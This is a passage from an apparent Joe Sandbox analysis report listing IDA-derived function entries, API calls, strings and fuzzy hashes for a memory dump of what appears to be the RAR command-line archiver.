Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction ID: b0dd689c7a0c4429a8dacb6d2cfbddf48a7c8da215787db6e4f5761110ac7f4c
Opcode Fuzzy Hash: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction Fuzzy Hash: 40419E21A19A5386FBB89F25A85027872E1FF90F40F1454F9DA0ECB6D1DE3CE8858780

Function 00007FF69A3F4D1C Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00007FF69A3F4D47

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction ID: 4178c20214972e788a597f0e755c4fc082992270277c3235bd4a3e89e4c2a9ec
Opcode Fuzzy Hash: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction Fuzzy Hash: 59016D12A2E64285FA20AA17A5002BA76E0EF85B94F4814FDFE8DC736ADE3DD4419304

Function 00007FF69A444B8C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction ID: 59f4b18bf7f4adfde4031c158644005bcd6bfc35fb9c0608669e4836163addaf
Opcode Fuzzy Hash: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction Fuzzy Hash: 2A014F50A0C68382FA749EA65A4127931D0DF88FE5F1882F0EE2DC72D6ED2CE4414391

Function 00007FF69A42A924 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CompareStringA.KERNELBASE ref: 00007FF69A42A998

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction ID: 8ba77264e43ee4869b500a78c7ae2dadae0e2835c97f74510a44fdf518e0a7e5
Opcode Fuzzy Hash: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction Fuzzy Hash: B0018665B0C69245EA206F13A40406AF6D1FB99FC0F5D48B5EF9DCBB5ACE3CE0424B04

Function 00007FF69A404554 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 00007FF69A404590

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 73a3b642e027c9546b1f9f92380fcd54c99c946120ceb80f38a8122e17d5c0d2
Instruction ID: 3372efa9105e70237324b196f8ec1f1f1c84c456c70559fa09429ad486354e6c
Opcode Fuzzy Hash: 73a3b642e027c9546b1f9f92380fcd54c99c946120ceb80f38a8122e17d5c0d2
Instruction Fuzzy Hash: 16F0A9619082C145DB219B7561452F83790DF16FB5F0843F5DF7C8B2C7CE6CA0849B10

Function 00007FF69A444AB4 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF69A444AF2

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction ID: 6f8fb864644f4bd4f8e92873eb4e0fcf57ce5710a504989759b0f7864c0d02f6
Opcode Fuzzy Hash: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction Fuzzy Hash: 73F0FE15A4D34246FA746EA1584127532C1DF44FA1F5806F0ED2ED72C1EE9CE49183A4

Function 00007FF69A4138A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction ID: 35deacd79927c0cb325dd292e8ec4fd6d28d7edeec2366cae820d26b685f638b
Opcode Fuzzy Hash: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction Fuzzy Hash: BAE0B698F1930681EDB92B6228514BD22C0DF7AF81E5664F9CC1EC6382DD1EB4B95B11

Function 00007FF69A44FA10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 00007FF69A44FA20

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction ID: 72d49f04f15d83f655cb2cd98467a27f5b395baf210bfb86f6b9002a9734d286
Opcode Fuzzy Hash: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction Fuzzy Hash: 4DD09E65F1BA0685F7A4DB49F88573032E1FF54F99F4506F5C81D85551CFAD20548340

Function 00007FF69A404538 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,?,00000000,?,00007FF69A427A8C), ref: 00007FF69A404549

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction ID: cbfcf465bc94c58ab26bba1a79e491f57f79f06c66412d666aa207ba906a8cee
Opcode Fuzzy Hash: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction Fuzzy Hash: FEC02B25E0148180C614532D98450343190FFC5F39FD013F0D33EC61E0CF1800EB0300

Function 00007FF69A401930 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF69A401958

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction ID: f128b45a3e56f8539a349775acb467b4418a797118af313a59b300e63c081eac
Opcode Fuzzy Hash: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction Fuzzy Hash: 43F0AF22A0864249FB348B78E44037936D0DB61FB8F9953B4D67D850D8CF68D892C750

Non-executed Functions

Function 00007FF69A4067E0 Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 441COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69A4249F4: LoadStringW.USER32 ref: 00007FF69A424A7B
Part of subcall function 00007FF69A4249F4: LoadStringW.USER32 ref: 00007FF69A424A94

Part of subcall function 00007FF69A3F8444: fflush.LIBCMT ref: 00007FF69A3F8477

Part of subcall function 00007FF69A42B6D0: Sleep.KERNEL32(?,?,?,?,00007FF69A3FCBED,?,00000000,?,00007FF69A427A8C), ref: 00007FF69A42B730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A406CB0

Strings

%s%s, xrefs: 00007FF69A406AED
EOF, xrefs: 00007FF69A406CD1
%21ls %9ls %3d%% %28ls %u, xrefs: 00007FF69A406F85
%12ls: %ls, xrefs: 00007FF69A406D01
%s%s, xrefs: 00007FF69A406AB2
%.10ls %u, xrefs: 00007FF69A406C9D
%s: %s, xrefs: 00007FF69A406962
RAR 5, xrefs: 00007FF69A40698E
%s%s, xrefs: 00007FF69A406B24
V, xrefs: 00007FF69A406D62
%21ls %18s %lu, xrefs: 00007FF69A406FA4
%12ls: %ls, xrefs: 00007FF69A406CD8
%s%s, xrefs: 00007FF69A4069EB
%s%s, xrefs: 00007FF69A4069C0
%s%s, xrefs: 00007FF69A406A17
%21ls %9ls %3d%% %-27ls %u, xrefs: 00007FF69A406DA2
----------- --------- ---------- ----- ----, xrefs: 00007FF69A406DB0
RAR 1.4, xrefs: 00007FF69A4069A0
%s%s, xrefs: 00007FF69A406A74
%s: , xrefs: 00007FF69A40697B
%21ls %-16ls %u, xrefs: 00007FF69A406DCD
RAR 4, xrefs: 00007FF69A406987
----------- --------- -------- ----- ---------- ----- -------- ----, xrefs: 00007FF69A406D6A

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: LoadString$Sleepfflushswprintf
String ID: %12ls: %ls$%12ls: %ls$%21ls %-16ls %u$%21ls %9ls %3d%% %-27ls %u$%s: $%s: %s$----------- --------- -------- ----- ---------- ----- -------- ----$----------- --------- ---------- ----- ----$%.10ls %u$%21ls %18s %lu$%21ls %9ls %3d%% %28ls %u$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$EOF$RAR 1.4$RAR 4$RAR 5$V
API String ID: 668332963-4283793440
Opcode ID: 8ea6443075516ef75a1cc4a574829b3674ffe9441b9a75d90d101af6c7dd28b8
Instruction ID: 8a0d94c2ea206390a6df9b4fcdc1124a32741955c58583e98783c424d6017689
Opcode Fuzzy Hash: 8ea6443075516ef75a1cc4a574829b3674ffe9441b9a75d90d101af6c7dd28b8
Instruction Fuzzy Hash: E522AF22A0C6C285EB70DB20E8511F977E1FF51B44F4450FADA8ECB69ADE6CE605DB00

Function 00007FF69A3FD2C0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 313fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF69A3FD4A6
CloseHandle.KERNEL32 ref: 00007FF69A3FD4B9

Part of subcall function 00007FF69A3FEF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF69A3FEE47), ref: 00007FF69A3FEF73
Part of subcall function 00007FF69A3FEF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF69A3FEE47), ref: 00007FF69A3FEF84
Part of subcall function 00007FF69A3FEF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF69A3FEFA7
Part of subcall function 00007FF69A3FEF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF69A3FEFCA
Part of subcall function 00007FF69A3FEF50: GetLastError.KERNEL32 ref: 00007FF69A3FEFD4
Part of subcall function 00007FF69A3FEF50: CloseHandle.KERNEL32 ref: 00007FF69A3FEFE7

CreateDirectoryW.KERNEL32 ref: 00007FF69A3FD4C6
CreateFileW.KERNEL32 ref: 00007FF69A3FD64A
DeviceIoControl.KERNEL32 ref: 00007FF69A3FD68B
CloseHandle.KERNEL32 ref: 00007FF69A3FD69A
GetLastError.KERNEL32 ref: 00007FF69A3FD6AD
RemoveDirectoryW.KERNEL32 ref: 00007FF69A3FD6FA
DeleteFileW.KERNEL32 ref: 00007FF69A3FD705

Part of subcall function 00007FF69A402310: FlushFileBuffers.KERNEL32 ref: 00007FF69A40233E
Part of subcall function 00007FF69A402310: SetFileTime.KERNEL32 ref: 00007FF69A4023DB

Part of subcall function 00007FF69A401930: CloseHandle.KERNELBASE ref: 00007FF69A401958

Part of subcall function 00007FF69A4039E0: SetFileAttributesW.KERNEL32(?,00007FF69A4034EE,?,?,?,?,00000800,00000000,00000000,00007FF69A4138CB,?,?,?,00007FF69A4141EC), ref: 00007FF69A403A0F
Part of subcall function 00007FF69A4039E0: SetFileAttributesW.KERNEL32(?,00007FF69A4034EE,?,?,?,?,00000800,00000000,00000000,00007FF69A4138CB,?,?,?,00007FF69A4141EC), ref: 00007FF69A403A3C

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 00007FF69A3FD328
SeRestorePrivilege, xrefs: 00007FF69A3FD31C
\??\, xrefs: 00007FF69A3FD390
UNC\, xrefs: 00007FF69A3FD3BD

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: File$CloseHandle$Create$AttributesDirectoryErrorLastProcessToken$AdjustBuffersControlCurrentDeleteDeviceFlushLookupOpenPrivilegePrivilegesRemoveTimeValue
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2750113785-3508440684
Opcode ID: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction ID: fae102ebcc877be072fa8cf289a2e733edc778cfa97bbd388b2fd3a9a1ca010b
Opcode Fuzzy Hash: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction Fuzzy Hash: 35D1CD26A1868686EB709F20E8442FE73E0FB41B98F4041B9DA5DC76D9DF3CD60AD700

Function 00007FF69A42AE50 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 281libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF69A3E2E4C), ref: 00007FF69A42AEE9
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF69A3E2E4C), ref: 00007FF69A42AF01
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF69A3E2E4C), ref: 00007FF69A42AF19
GetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF69A3E2E4C), ref: 00007FF69A42AF75
GetFullPathNameA.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF69A3E2E4C), ref: 00007FF69A42AFB0
SetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF69A3E2E4C), ref: 00007FF69A42B23B
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF69A3E2E4C), ref: 00007FF69A42B244
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF69A3E2E4C), ref: 00007FF69A42B287

Strings

MAPIResolveName, xrefs: 00007FF69A42AEF7
MAPIFreeBuffer, xrefs: 00007FF69A42AF0F
MAPISendMail, xrefs: 00007FF69A42AEDF
MAPI32.DLL, xrefs: 00007FF69A42AEC2
SMTP:, xrefs: 00007FF69A42B069

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
